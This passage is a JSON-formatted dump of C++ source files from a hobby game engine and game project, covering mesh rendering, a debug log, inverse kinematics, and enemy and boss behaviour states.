mulcolor\n\t)\n\t{\n\t\t//メッシュごとにドロー\n\t\t//プリミティブのトポロジーはトライアングルリストのみ。\n\t\trc.SetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\t\n\t\t//定数バッファを更新する。\n\t\tSConstantBuffer cb;\n\t\tcb.mWorld = mWorld;\n\t\tcb.mulcolor = mulcolor;\n\t\t//cb.mView = mView;\n\t\t//cb.mProj = mProj;\n\t\n\t\tm_commonConstantBuffer.CopyToVRAM(&cb);\n\t\n\t\tif (!m_isDrawShadow)\n\t\t{\n\t\t\tif (m_expandData) {\n\t\t\t\tm_expandConstantBuffer.CopyToVRAM(m_expandData);\n\t\t\t}\n\t\t\tif (m_boneMatricesStructureBuffer.IsInited()) {\n\t\t\t\t//ボーン行列を更新する。\n\t\t\t\tm_boneMatricesStructureBuffer.Update(m_skeleton->GetBoneMatricesTopAddress());\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tint descriptorHeapNo = 0;\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\t//頂点バッファを設定。\n\t\t\trc.SetVertexBuffer(mesh->m_vertexBuffer);\n\t\t\t//マテリアルごとにドロー。\n\t\t\tfor (int matNo = 0; matNo < mesh->m_materials.size(); matNo++) {\n\t\t\t\t//このマテリアルが貼られているメッシュの描画開始。\n\t\t\t\tmesh->m_materials[matNo]->BeginRender(rc, mesh->skinFlags[matNo]);\n\t\t\t\t//ディスクリプタヒープを登録。\n\t\t\t\trc.SetDescriptorHeap(m_descriptorHeap.at(descriptorHeapNo));\n\t\t\t\t//インデックスバッファを設定。\n\t\t\t\tauto& ib = mesh->m_indexBufferArray[matNo];\n\t\t\t\trc.SetIndexBuffer(*ib);\n\t\n\t\t\t\t//ドロー。\n\t\t\t\trc.DrawIndexed(ib->GetCount());\n\t\t\t\tdescriptorHeapNo++;\n\t\t\t}\n\t\t}\n\t\tm_isDrawShadow = false;\n\t}\n\n\tvoid MeshParts::DrawInstanced(RenderContext& rc,int instanceNum, const Matrix& mWorld, const Matrix& mView, const Matrix& mProj, const Vector4& mulcolor)\n\t{\n\t\t//メッシュごとにドロー\n\t\t//プリミティブのトポロジーはトライアングルリストのみ。\n\t\trc.SetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n\t\t//定数バッファを更新する。\n\t\tSConstantBuffer cb;\n\t\tcb.mWorld = mWorld;\n\t\tcb.mulcolor = mulcolor;\n\t\t//cb.mView = mView;\n\t\t//cb.mProj = mProj;\n\n\t\tm_commonConstantBuffer.CopyToVRAM(&cb);\n\n\t\tif (!m_isDrawShadow)\n\t\t{\n\t\t\tif (m_expandData) {\n\t\t\t\tm_expandConstantBuffer.CopyToVRAM(m_expandData);\n\t\t\t}\n\t\t\tif (m_boneMatricesStructureBuffer.IsInited()) {\n\t\t\t\t//ボーン行列を更新する。\n\t\t\t\tm_boneMatricesStructureBuffer.Update(m_skeleton->GetBoneMatricesTopAddress());\n\t\t\t}\n\n\t\t}\n\t\tint descriptorHeapNo = 0;\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\t//頂点バッファを設定。\n\t\t\trc.SetVertexBuffer(mesh->m_vertexBuffer);\n\t\t\t//マテリアルごとにドロー。\n\t\t\tfor (int matNo = 0; matNo < mesh->m_materials.size(); matNo++) {\n\t\t\t\t//このマテリアルが貼られているメッシュの描画開始。\n\t\t\t\tmesh->m_materials[matNo]->BeginRender(rc, mesh->skinFlags[matNo]);\n\t\t\t\t//ディスクリプタヒープを登録。\n\t\t\t\trc.SetDescriptorHeap(m_descriptorHeap.at(descriptorHeapNo));\n\t\t\t\t//インデックスバッファを設定。\n\t\t\t\tauto& ib = mesh->m_indexBufferArray[matNo];\n\t\t\t\trc.SetIndexBuffer(*ib);\n\n\t\t\t\t//ドロー。\n\t\t\t\trc.DrawIndexed(ib->GetCount());\n\t\t\t\trc.DrawIndexedInstanced(ib->GetCount(), instanceNum, 0, 0, 0);\n\t\t\t\tdescriptorHeapNo++;\n\t\t\t}\n\t\t}\n\t\tm_isDrawShadow = false;\n\t}\n\n\tvoid MeshParts::DrawShadow(RenderContext& rc, const Matrix& mWorld)\n\t{\n\t\t//メッシュごとにドロー\n\t\t//プリミティブのトポロジーはトライアングルリストのみ。\n\t\trc.SetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n\t\tif (!m_isDrawShadow)\n\t\t{\n\t\t\t//定数バッファを更新する。\n\t\t\tSConstantBuffer cb;\n\t\t\tcb.mWorld = mWorld;\n\n\t\t\tm_commonConstantBuffer.CopyToVRAM(&cb);\n\n\t\t\tif (m_expandData) {\n\t\t\t\tm_expandConstantBuffer.CopyToVRAM(m_expandData);\n\t\t\t}\n\t\t\tif (m_boneMatricesStructureBuffer.IsInited()) {\n\t\t\t\t//ボーン行列を更新する。\n\t\t\t\tm_boneMatricesStructureBuffer.Update(m_skeleton->GetBoneMatricesTopAddress());\n\t\t\t}\n\t\t}\n\t\tint descriptorHeapNo = 0;\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\t//頂点バッファを設定。\n\t\t\trc.SetVertexBuffer(mesh->m_vertexBuffer);\n\t\t\t//マテリアルごとにドロー。\n\t\t\tfor (int matNo = 0; matNo < mesh->m_materials.size(); matNo++) {\n\t\t\t\t//このマテリアルが貼られているメッシュの描画開始。\n\t\t\t\tmesh->m_materials[matNo]->BeginRenderShadow(rc, mesh->skinFlags[matNo]);\n\t\t\t\t//ディスクリプタヒープを登録。\n\t\t\t\trc.SetDescriptorHeap(m_shadowDescHeap[g_graphicsEngine->GetShadowMap().GetRenderingShadowMapNum()]);\n\t\t\t\t//インデックスバッファを設定。\n\t\t\t\tauto& ib = mesh->m_indexBufferArray[matNo];\n\t\t\t\trc.SetIndexBuffer(*ib);\n\n\t\t\t\t//ドロー。\n\t\t\t\trc.DrawIndexed(ib->GetCount());\n\t\t\t\tdescriptorHeapNo++;\n\t\t\t}\n\t\t}\n\n\t\tm_isDrawShadow = true;\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.5585062503814697,
"alphanum_fraction": 0.5726141333580017,
"avg_line_length": 18.14285659790039,
"blob_id": "fe0c2e3b6d4204a8bc313aa6c0ee263018de6ef8",
"content_id": "52a905c4630093cf1a06da26d264734ada5714e8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1205,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 63,
"path": "/UsualEngineR/Debug/DebugLog.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"DebugLog.h\"\n\n\nnamespace UER\n{\n\tDebugLog::DebugLog()\n\t{\n\t\tm_font.Init();\n\t\tm_font.DrawTypeFrame();\n\t}\n\tDebugLog::~DebugLog()\n\t{\n\t}\n\tvoid DebugLog::Print(const wchar_t* str)\n\t{\n\t\tm_printList.push_back({ std::wstring(str),m_lifeTime });\n\t\tif (m_printList.size() >= m_logMaxNum)\n\t\t{\n\t\t\tm_printList.pop_front();\n\t\t}\n\t}\n\tvoid DebugLog::Render()\n\t{\n\t\tif (m_printList.size() == 0)\n\t\t\treturn;\n\t\tm_font.Begin();\n\t\tint count = 0;\n\t\tLog* logs[32] = { 0 };\n\t\tfor (auto& p : m_printList)\n\t\t{\n\t\t\tlogs[count++] = &p;\n\t\t}\n\n\t\tauto pos = m_originPos;\n\t\tm_font.Draw(logs[m_printList.size()-1]->log.c_str(),pos, m_fontColor, 0.f, m_firstFontSize, { 0.f,1.f });\n\t\tpos.y -= m_firstFontSpace;\n\t\tcount = 2;\n\t\t\n\t\tfor (int i = m_printList.size()-count; i >= 0; i--)\n\t\t{\n\t\t\tauto it = logs[i];\n\t\t\tm_font.Draw(it->log.c_str(), pos, m_fontColor, 0.f, m_fontSize, {0.f,1.f});\n\t\t\tpos.y -= m_fontSpace;\n\t\t}\n\t\tm_font.End();\n\n\t\tfloat dtime = gameTime()->GetDeltaTime();\n\t\tcount = 0;\n\t\tfor (auto& print : m_printList)\n\t\t{\n\t\t\tprint.lifeTime -= dtime;\n\t\t\tif (print.lifeTime <= 0)\n\t\t\t\tcount++;\n\t\t}\n\n\t\tfor (int i = 0; i < count; i++)\n\t\t{\n\t\t\t//delete m_printList.begin()->log;\n\t\t\tm_printList.pop_front();\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.7058823704719543,
"alphanum_fraction": 0.7080344557762146,
"avg_line_length": 21.14285659790039,
"blob_id": "87cfcbbd6bda1df8cf5fd741151418759baa7346",
"content_id": "02db157fc4f9f314a263481718a77c8c6bb1d316",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1394,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 63,
"path": "/Game/Enemy/State/MeleeBossState/EnemyTeleportationState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyTeleportationState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"GameManager.h\"\n\nEnemyTeleportationState::EnemyTeleportationState() {\n\n}\n\nEnemyTeleportationState::~EnemyTeleportationState() {\n\n}\n\nvoid EnemyTeleportationState::Enter(IEnemy* e) {\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy teleportation\\n\");\n#endif\n\n\tm_canExecute = true;\n\n\tif (e->GetAbility().stamina < m_cost) {\n\t\tm_canExecute = false;\n\t\treturn;\n\t}\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\te->UseStamina(m_cost);\n\tauto tpse = NewGO<CSoundSource>(0);\n\ttpse->Init(L\"Assets/sound/TPSE.wav\", false);\n\ttpse->Play(false);\n}\n\nIEnemyState* EnemyTeleportationState::Update(IEnemy* e) {\n\n\tif (!m_canExecute) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tauto player = GameManager::GetInstance().m_player;\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tauto len = vecToPlayer.Length();\n\tvecToPlayer.Normalize();\n\tvecToPlayer *= len * 0.6f;\n\n\tauto enextpos = epos + vecToPlayer;\n\te->SetPosition(enextpos);\n\n\treturn e->GetStateMap().at(TO_INT(IEnemy::EnState::enBattleState));\n}\n\nvoid EnemyTeleportationState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy teleportation\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.7568492889404297,
"alphanum_fraction": 0.7568492889404297,
"avg_line_length": 19.785715103149414,
"blob_id": "0aaf015a8096b1c37b7701e2561fbe30bc52023d",
"content_id": "b794be022da910e07089f7a35d2562c9ac498473",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 292,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 14,
"path": "/Game/Enemy/State/EnemyIdleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyIdleState : public IEnemyState\n{\npublic:\n\tEnemyIdleState();\n\tvirtual ~EnemyIdleState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\n};\n\n"
},
{
"alpha_fraction": 0.625,
"alphanum_fraction": 0.6788461804389954,
"avg_line_length": 18.22222137451172,
"blob_id": "fbbdfdaeb0730873c30086cee3657664bc213c06",
"content_id": "037bacdd0e685f218291a45719a31c4f1d6b56ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 532,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 27,
"path": "/Game/Item/RedPotion.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"IItem.h\"\n\nclass SmokeEffect;\n//回復アイテム\nclass RedPotion : public IItem\n{\npublic:\n\tRedPotion();\n\t~RedPotion() override;\n\tvirtual void Apply(Player* p) override;\n\tvirtual void Update() override;\n\nprivate:\n\tconst float m_healAmount = 10.f;\n\tfloat modelpos_Y = 0.0f;\n\tfloat m_angle = 0.0f;\n\n\tfloat m_PI = 3.14159265;\n\tfloat m_deltaTimeSt = 0;\n\t//effect\n\tSmokeEffect* m_effect = nullptr;\n\t//model\n\tModelRender* m_model = nullptr;\n\tVector3 m_scale = { 0.5f,0.5,0.5f };\n\tVector4 m_color = { 1,0,0,1 };\n};\n\n"
},
{
"alpha_fraction": 0.5802990198135376,
"alphanum_fraction": 0.5896217823028564,
"avg_line_length": 18.881118774414062,
"blob_id": "8ec7abcaeca80ebf70008d9ceab60b66f8c43214",
"content_id": "9002fa6e64866cb8fe62dc20db3893d5bd537fb3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6419,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 286,
"path": "/UsualEngineR/Graphics/IK/IK.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"physics/SphereCollider.h\"\n#include \"Physics/RigidBody.h\"\n#include \"Physics/GhostObject.h\"\n\nnamespace UER\n{\n\tclass IK\n\t{\n\tpublic:\n\t\tenum IKMode\n\t\t{\n\t\t\tenMode_Normal,\n\t\t\tenMode_Foot,\t\t//footIK\n\t\t\tenMode_NoneHit,\n\t\t\tenMode_NoAnimHit,\n\t\t};\n\t\t/// <summary>\n\t\t/// 使用するIKの種類。\n\t\t/// </summary>\n\t\tenum UseIK\n\t\t{\n\t\t\tenUSE_CCD,\n\t\t};\n\t\t/// <summary>\n\t\t/// コンストラクタ\n\t\t/// </summary>\n\t\t/// <param name=\"effector\">エフェクタボーン</param>\n\t\t/// <param name=\"end\">エンドボーン</param>\n\t\t/// <param name=\"radius\">コライダーの半径</param>\n\t\tIK(Skeleton* skeleton, Bone* effector, Bone* end, float radius, bool isOnRigitBody = false , const Vector3& pos = Vector3::Zero);\n\t\t/// <summary>\n\t\t/// デストラクタ\n\t\t/// </summary>\n\t\t~IK();\n\n\t\tvoid InitGhost();\n\n\t\t/// <summary>\n\t\t/// IKのターゲットとなる場所を更新する\n\t\t/// </summary>\n\t\t/// <param name=\"worldMat\">モデルのワールドマトリクス</param>\n\t\tvoid UpdateTarget(const Matrix& worldMat);\n\t\tvoid UpdateTarget_Normal(const Matrix& worldMat);\n\t\tvoid UpdateTarget_Foot(const Matrix& worldMat);\n\t\tvoid UpdateTarget_NoneHit(const Matrix& worldMat);\n\t\tvoid UpdateTarget_NoAnimHit(const Matrix& worldMat);\n\t\t/// <summary>\n\t\t/// IKの更新。\n\t\t/// </summary>\n\t\t/// <param name=\"worldMat\">モデルのワールドマトリクス</param>\n\t\tvoid Update(const Matrix& worldMat);\n\n\t\t/// <summary>\n\t\t/// CCD_IKを実行。\n\t\t/// </summary>\n\t\t/// <param name=\"worldMat\">モデルのワールドマトリクス</param>\n\t\tvoid EXE_CCD(const Matrix& worldMat);\n\n\t\t/// <summary>\n\t\t/// リジッドボディの初期化。\n\t\t/// </summary>\n\t\tvoid InitRigidBody(const Vector3& pos);\n\t\t/// <summary>\n\t\t/// リジッドボディの更新\n\t\t/// </summary>\n\t\t/// <param name=\"pos\"></param>\n\t\tvoid UpdateRigidBody(const Vector3& pos);\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"mode\"></param>\n\t\tvoid SetIKMode(IKMode mode)\n\t\t{\n\t\t\tm_ikMode = mode;\n\t\t\tif (m_ikMode == enMode_NoAnimHit)\n\t\t\t\tm_isToggleNoAnimHit = true;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"bone\"></param>\n\t\tvoid SetEffectorBone(Bone* bone)\n\t\t{\n\t\t\tm_effectorBone = bone;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tBone* GetEffectorBone() const\n\t\t{\n\t\t\treturn m_effectorBone;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"bone\"></param>\n\t\tvoid SetEndBone(Bone* bone)\n\t\t{\n\t\t\tm_endBone = bone;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tBone* GetEndBone() const\n\t\t{\n\t\t\treturn m_endBone;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst Vector3& GetTarget() const\n\t\t{\n\t\t\treturn m_target;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst Vector3& GetOldTarget() const\n\t\t{\n\t\t\treturn m_oldTarget;\n\t\t}\n\n\t\t\n\t\tconst Vector3& GetOldNewTarget() const\n\t\t{\n\t\t\treturn m_oldNewTarget;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 使用されているコリジョンの半径。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tfloat GetCollisionRadius() const\n\t\t{\n\t\t\treturn m_radius;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 摩擦率をゲット\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\t/*float GetRubbing() const\n\t\t{\n\t\t\treturn m_rubbing;\n\t\t}*/\n\t\t/// <summary>\n\t\t/// 摩擦率をセット\n\t\t/// </summary>\n\t\t/// <param name=\"f\">1~0が無難</param>\n\t\t/*void SetRubbing(float f)\n\t\t{\n\t\t\tm_rubbing = f;\n\t\t}*/\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"v\"></param>\n\t\tvoid SetOffset(const Vector3& v)\n\t\t{\n\t\t\tm_offset = v;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"f\"></param>\n\t\t/*void SetSpeed(float f)\n\t\t{\n\t\t\tm_speed = f;\n\t\t}*/\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"b\"></param>\n\t\tvoid SetIsActive(bool b)\n\t\t{\n\t\t\tm_isActive = b;\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tbool IsActive() const\n\t\t{\n\t\t\treturn m_isActive;\n\t\t}\n\t\tvoid SetNextTarget(const Vector3& tar)\n\t\t{\n\t\t\tm_nextTarget = tar;\n\t\t\tm_isSetNextTarget = true;\n\t\t}\n\n\t\tvoid SetVelocity(const Vector3& v)\n\t\t{\n\t\t\tm_velocity = v;\n\t\t}\n\n\t\tvoid SetGravity(const float grav)\n\t\t{\n\t\t\tm_gravity = grav;\n\t\t}\n\n\t\t/*const Vector3& GetAnimMove() const\n\t\t{\n\t\t\treturn m_animMove;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst Vector3& GetMove() const\n\t\t{\n\t\t\treturn m_move;\n\t\t}*/\n\n\t\tbool IsHit() const\n\t\t{\n\t\t\treturn m_isHit;\n\t\t}\n\n\t\tbtCollisionObject* GetHitCollision() const\n\t\t{\n\t\t\treturn m_hitCollision;\n\t\t}\n\n\t\tvoid SetPos(const Vector3& p);\n\n\tprivate:\n\t\tSkeleton* m_skeleton = 0;\t\t\t\t\t\t//スケルトン\n\n\t\tbool m_isFirst = true;\t\t\t\t\t\t\t//初めてか?\n\t\tBone* m_effectorBone=0;\t\t\t\t\t\t\t//エフェクタボーン\n\t\tBone* m_endBone=0;\t\t\t\t\t\t\t\t//エンドボーン\n\t\tfloat m_radius = 0.f;\t\t\t\t\t\t\t//コライダーの半径。\n\t\tUseIK m_usingIK = enUSE_CCD;\t\t\t\t\t//使用するIKの種類。\n\t\tIKMode m_ikMode = enMode_Normal;\t\t\t\t//IKのモード\n\n\t\tSphereCollider m_collider;\t\t\t\t\t\t//コライダー\n\t\tRigidBody m_rigidBody;\t\t\t\t\t\t\t//リジッドボディ\n\n\t\tVector3 m_offset = Vector3::Zero;\t\t\t\n\t\tVector3 m_target = Vector3::Zero;\t\t\t//IKのターゲット\n\t\tVector3 m_oldTarget = Vector3::Zero;\t\t//old IKのターゲット\n\n\t\tVector3 m_velocity = Vector3::Zero;\n\t\t\n\n\t\t//Vector3 m_rubTarget = Vector3::Zero;\t\t//擦った先のポジション。\n\t\t//Vector3 m_move = Vector3::Zero;\t\t\t\t//移動ベクトル\n\t\t//Vector3 m_animMove = Vector3::Zero;\n\t\tbool m_isUseLocalTarget = 1;\n\t\t//float m_speed = 1.f;\t\t\t\t\t\t\t//次のターゲットに移動するときの速度(%)。1なら1フレームで移動する。0なら動かない。\n\n\t\tbool m_isHit = false;\t\t\t\t\t\t\t//当たった?\n\t\t//float m_rubbing = 1.0f;\t\t\t\t\t\t\t//摩擦率、初期値は100% 滑ることはない。\n\n\t\tbool m_isActive = true;\t\t\t\t\t\t\t//動く?\n\t\tVector3 m_nextTarget = Vector3::Zero;\t\t//外部から設定された次のターゲット\n\t\tbool m_isSetNextTarget = false;\t\t\t\t\t//次のターゲットがセットされた?\n\t\tbool m_isSetOldTarget = false;\t\t\t\t\t//IK更新用。\n\t\t\n\t\tbool m_isUseRigidBody = true;\t\t\t\t\t//リジッドボディーを使う?\n\n\t\tfloat m_gravity = 0.0f;\t\t\t\t\t\t\t// 重力。\n\t\tfloat m_timer = 0.0f;\t\t\t\t\t\t\t//重力用のタイマー\n\t\tbool m_isNextGravity = false;\t\t\t\t\t\n\t\tfloat m_gravitPow = 0.0f;\t\t\t\t\t\t\t\n\t\tVector3 m_oldNewTarget = Vector3::Zero;\t\t\n\n\t\tbtCollisionObject* m_hitCollision = nullptr;\n\n\t\tbool m_isToggleNoAnimHit = false;\n\n\t\tbool m_isUseGhost = false;\n\t\tGhostObject m_ghost;\n\t};\n\n}"
},
{
"alpha_fraction": 0.6844305396080017,
"alphanum_fraction": 0.6917450428009033,
"avg_line_length": 17.403846740722656,
"blob_id": "fbaeee16934c45da33babf2903418824dff916b5",
"content_id": "c65993faf303d881e522466ed12b7a79a8416cee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 957,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 52,
"path": "/Game/Enemy/State/MiddleBombState/BossBombStunState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombStunState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nBossBombStunState::BossBombStunState()\n{\n}\n\nBossBombStunState::~BossBombStunState()\n{\n}\n\nvoid BossBombStunState::Enter(IEnemy* e)\n{\n\tm_velocity = e->GetKnockBackImpulse();\n\tm_velDirXZ = m_velocity;\n\tm_velDirXZ.y = 0.f;\n\tm_velDirXZ.Normalize();\n\tm_velDirXZ *= -m_friction;\n}\n\nIEnemyState* BossBombStunState::Update(IEnemy* e)\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\t\n\tm_velocity.y -= 500.f * dtime;\n\tif (e->IsOnGround())\n\t{\n\t\tfloat velXZLen = sqrtf(powf(m_velocity.x, 2) + powf(m_velocity.z, 2));\n\n\t\tif (velXZLen > m_friction)\n\t\t{\n\t\t\tm_velocity += m_velDirXZ*dtime;\n\t\t}\n\t\telse\n\t\t{\n\t\t\te->SetExternalVelocity(Vector3::Zero);\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t\t}\n\t}\n\te->SetExternalVelocity(m_velocity);\n\treturn this;\n}\n\nvoid BossBombStunState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombStunState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6902573704719543,
"alphanum_fraction": 0.7068014740943909,
"avg_line_length": 18.428571701049805,
"blob_id": "b1eddb8b8e06420d15e5d0faa231baa4a9f9d14d",
"content_id": "c940b6b5c03ece7dc012a5a4f3f0a873ae83136c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1088,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 56,
"path": "/Game/Enemy/State/MiddleBombState/BossBombRollingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombRollingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\nBossBombRollingState::BossBombRollingState()\n{\n}\n\nBossBombRollingState::~BossBombRollingState()\n{\n}\n\nvoid BossBombRollingState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Guard));\n\t\n\tm_timer = 0.f;\n}\n\nIEnemyState* BossBombRollingState::Update(IEnemy* e)\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\tif (m_timer >= m_timeLimit)\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\n\tconst auto& rot = e->GetRotation();\n\n\tQuaternion addrot;\n\taddrot.SetRotationDegY(360.f * dtime * 5.f);\n\n\te->SetRotation(rot * addrot);\n\n\tauto p = GameManager::GetInstance().GetPlayer();\n\tauto e2p = p->GetPosition() - e->GetPosition();\n\tfloat e2pLen = e2p.Length();\n\tif (e2pLen < 20.f)\n\t{\n\t\te2p.Normalize();\n\t\tp->ApplyDamage(15, true, e2p * 200.f);\n\t}\n\n\treturn this;\n}\n\nvoid BossBombRollingState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombRollingState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7246618270874023,
"alphanum_fraction": 0.730905294418335,
"avg_line_length": 39.55274200439453,
"blob_id": "d130b657569eb056a356ecbfe4e96608b06bbc27",
"content_id": "bb13652771bf3017d43e7ed3d761d37932b2e9e8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 9646,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 237,
"path": "/Game/Enemy/Boss/BossA.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"BossA.h\"\n#include \"Enemy/Drop/DropItemA.h\"\n#include \"../../Effect/JetEffect.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"../State/MeleeBossState/EnemyMeleePunchState.h\"\n#include \"../State/MeleeBossState//EnemyDashPunchState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeBattleState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeFlyState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeIdleState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeDeadState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeOverheatState.h\"\n#include \"../State/MeleeBossState/EnemyTeleportationState.h\"\n#include \"../State/MeleeBossState/EnemyMeleeThrusterAttackState.h\"\n#include \"Enemy/State/EnemyStunState.h\"\n#include \"Enemy/BossBGM.h\"\nvoid BossA::Init() {\n\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/boss/sp/sp.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/boss/sp/sp.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_psfxFilePath = \"Assets/shader/GBufferModelPS_ems.fx\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_emmissionMap = L\"Assets/modelData/boss/sp/sp_emi.dds\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\t//m_model->SetMulColor({ 20,1,1,1 });\n\tm_model->SetMulColor({ 0,0,0,0 });\n\n\t//Idle\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/boss/sp/anim/sp_idle.tka\", true);\n\t//Walk\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enWalk), \"Assets/modelData/boss/sp/anim/sp_walk.tka\", true);\n\t//Run\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enRun), \"Assets/modelData/boss/sp/anim/sp_dush.tka\", true);\n\t//AttackA\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackA), \"Assets/modelData/boss/sp/anim/sp_punch.tka\", false);\n\t//AttackB\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enAttackB), \"Assets/modelData/boss/sp/anim/sp_punch_strong.tka\", false);\n\t//Angry\n\tSetAnimation(TO_INT(EnAnimEx::enAngry), \"Assets/modelData/boss/sp/anim/sp_angry.tka\", false);\n\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n\n\tPlayAnimation(EnAnimation::enIdle);\n\n\tSetState(m_stateMap.at(TO_INT(IEnemy::EnState::enIdleState)));\n\n\tm_isNormalEnemy = false;\n\n\t//Effect\n\tJetEffect::JetEffectInitParam smaller;\n\tsmaller.effectScale = 0.01f;\n\tsmaller.effectScale_inv = 1.f / 